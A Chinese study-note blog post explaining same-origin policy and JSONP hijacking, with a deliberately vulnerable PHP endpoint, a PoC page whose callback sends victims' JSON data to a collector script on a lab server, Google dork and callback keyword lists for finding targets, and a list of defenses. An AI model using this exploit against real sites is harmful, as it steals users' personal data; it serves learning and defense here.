生命在于学习——Jsonp漏洞

声明:本篇文章仅用于自己的学习交流,笔记记录以及感悟记载,不得用于其他用途。
在这里插入图片描述
图片来源于百度百科。

一、同源策略

1、什么是同源策略

SOP,全称为同源策略 (Same Origin Policy),该策略是浏览器的一个安全基石,如果没有同源策略,那么,你打开了一个合法网站,又打开了一个恶意网站。那么恶意网站的脚本能够随意的操作合法网站的任何可操作资源,没有任何限制。浏览器要严格隔离两个不同源的网站,目的是保证数据的完整性和机密性。PS:进了别人家客厅,没有允许就不要进卧室了。

2、什么算是同源

那么何为同源呢,即两个站点需要满足同协议,同域名,同端口这三个条件。“同源” 的定义:(PS:三个缺一不可,一个不一样就不同源。

3、不受同源策略限制的

下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的
PS:特权。

<script src="...">   //加载本地js执行
<img src="...">     //图片
<link href="...">    //css
<iframe src="...">  //任意资源

二、Jsonp

1、什么是Jsonp

JSONP是 JSON with padding(填充式JSON或参数式JSON)的简写 , 是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理就是动态创建<script>标签,然后利用<script>src 不受同源策略约束来跨域获取数据。说人话 : 就是可以让网页从别的域名(网站)那获取资料, 即跨域读取数据。 (PS:说白了,你在客厅,我允许你帮我进卧室拿东西。

JSONP由两部分组成:回调函数数据

回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 JSON 数据。

2、Jsonp劫持漏洞

(1)简介

JSON 劫持又为 “JSON Hijacking” ,最开始提出这个概念大概是在 2008 年国外有安全研究人员提到这个 JSONP 带来的风险。当某网站通过 JSONP 的方式来跨域(一般为子域)传递用户认证后的敏感信息时,如果服务器端对JSONP 的请求来源校验不严格 ,那么攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。(PS:还是需要诱导用户去点击的。

(2)原理

所以说 Json 与 csrf 类似,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取 json 数据,把 json 数据发送给攻击者。寻找敏感 json 数据 api 接口,构造恶意的代码。 发送给用户,用户访问有恶意的页面,数据会被劫持发送到远程服务器。

(3)产生漏洞的原因

网站没有对jsonp请求的来源进行校验和过滤导致任意域都能获取到数据

下面以一个具体的事例来演示jsonp劫持漏洞

具有jsonp漏洞的php源码

user.php

<?php 
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "admin","phone" : "15855887890","email" : "admin@qq.com"})';
 ?>

直接访问url , 先不要管这个url对应的参数是怎么知道的

http://192.168.23.130/user.php?callback=jsonp2

在这里插入图片描述

根据url参数 , 以及返回的有敏感信息 , 猜想可能存在jsonp劫持漏洞 , 构建 poc

poc模板

<!DOCTYPE html>
<html lang='en'>
<head>
    <title>jsonp</title>
</head>
<body>
    jsonp劫持测试
</body>
    <script>
        function 回调函数的名字(data){
            alert(JSON.stringify(data));
        }
    </script> 
    <script src="https://www.xxx.com/api?jsonp=回调函数的名字"></script>    
</html>

实战中只需要修改src对应的值 , 并把该文件放在vps上即可

SRC挖掘中只有返回了敏感信息的jsonp劫持才能算是有危害

jsonp.html

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>jsonp劫持</title>
	<script src="http://apps.badimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
	<script>
		function jsonp2(data){
			alert(JSON.stringify(data));
		}
	</script>
	<script src="http://192.168.23.130/jsonp/user.php?callback=jsonp2"></script>
</body>
</html>

然后访问

http://127.0.0.1/1.php

在这里插入图片描述
PS:复现时虚拟机开的环境,所以没有放到VPS中。
整个的流程

1.用户测试网站发现存在jsonp
2.构造poc
3.诱导用户访问
4.访问恶意的html
5.从响应中获取src对应的url
6.对该url发起请求
7.获取响应的json数据 , 传入回调函数执行 , 弹出敏感信息

PS:流程清晰。
这个实验的演示 , 只是简单的通过js代码 , 把敏感信息弹出来 , 证明存在jsonp劫持漏洞 , 如果想要进一步利用可以修改poc的js代码 , 把敏感数据当成参数 , 去请求我们的远程服务器 , 并在接收敏感信息 , 保存到一个文件中

1.php

<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
?>

1.html

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>jsonp劫持</title>
	<script src="http://apps.badimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
	<script>
		function jsonp2(data){
			// alert(JSON.stringify(data));
                        var xmlhttp = new XMLHttpRequest();
                        // 远程服务器
                        // 将拿到的数据写到这里面
                        var url = "http://192.168.23.130/1.php?file=" + JSON.stringify(data);
                        xmlhttp.open("GET",url,true);
                        xmlhttp.send();
		}
	</script>
	<script src="http://192.168.23.130/user.php?callback=jsonp2"></script>
</body>
</html>
http://192.168.23.130/1.html

在这里插入图片描述
PS:在这里烦了个小错,昨天晚上没睡好,今天把1.php和user.php内容反了。

(4)Jsonp漏洞危害

攻击者构造恶意的html页面,利用链接诱导受害者进行点击,从而获取到受害者的敏感信息

(5)Jsonp漏洞挖掘思路

google hacking语法 :

inurl:json
inurl:callback=
site:a.com inurl:json

常用关键词:

callback
jsoncallback
jsonpcallback
jsoncall
jsonpcall
cb
jsoncb
jsonpcb
=json
=jsonp
=jQuery 

手工测试

f12 , network , 勾选Preserve log , 防止页面刷新跳转的时候访问记录被重置
然后 F5 刷新,进入 NetWork 标签 ,CTRL+F 查找一些关键词 如 callback json jsonp jsonpcallback
然后找响应中存在敏感信息的 , 然后构建 poc测试

(6)防御方案

  1. json 正确的 http 头输出尽量避免跨域的数据传输,对于同域的数据传输使用 xmlhttp 的方式作为数 据获取的方式,依赖于 javascript 在浏览器域里的安全性保护数据,如果是跨域的数据传输,必须要对敏 感的数据获取做权限认证;
  2. 严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等;
  3. 严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 );
  4. 严格过滤 callback 函数名及 JSON 里数据的输出;
  5. 严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法);
  6. 其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用。
  • 1
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

「已注销」

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值